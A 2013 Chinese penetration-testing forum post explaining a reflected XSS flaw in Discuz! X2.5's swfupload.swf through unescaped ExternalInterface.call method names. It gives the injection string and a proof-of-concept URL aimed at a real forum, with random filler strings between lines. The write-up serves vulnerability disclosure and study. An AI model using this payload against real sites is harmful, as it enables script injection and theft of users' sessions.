中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
' C) G/ n1 r* S" [6 {8 k% g
# n5 W7 Q4 ?5 E
flash.external.ExternalInterface.call($methodName, $parameter)
* ~" e- W) R L0 k, [1 K
在浏览器中执行的是
( h; m+ V t8 ^) t( m1 Y$ _% W
: _( `3 I* ]5 Y* B/ _5 N
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 s2 x7 \4 ?) F
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
) O( t: }. e/ P8 A6 l* Q
3 c. b0 V; r( S E" z% Q; Q
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
+ g) h$ u0 V: @& J! _5 g6 ~
$methodName = a())}catch(e){alert(/xss/)}//
3 o4 w3 d& Y9 b) K( h: ?
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
8 a4 A0 Q* s% A4 |6 l8 _7 I+ g
( Y+ K/ q' n# `: A
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
5 s% e4 k5 ~8 V# G2 [( X
! g3 K( Z" }& M( D0 E6 g
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
& Y; [) V; w* {5 v' a1 D/ H I
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: z! ?0 s/ w# I/ b" q+ i6 |
% a- m& u+ K9 }, Y
$ }; Q9 S" V# `. `
& x7 \* E5 B( O; F6 _6 _
漏洞文件:upload\static\image\common\swfupload.swf
& x. Z% k2 Q( n! |7 i
7 }& y3 G D. l' o6 Q, L; _
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 u4 g# p+ q" U1 F
( L$ y. q0 E+ i/ ^1 [% x
]3 K L w# P* e7 q' _: u
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
* \* c& U2 C' n
& k- d- v$ p. J$ x6 `( b/ F" v
2 j, |) D$ ?; M
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2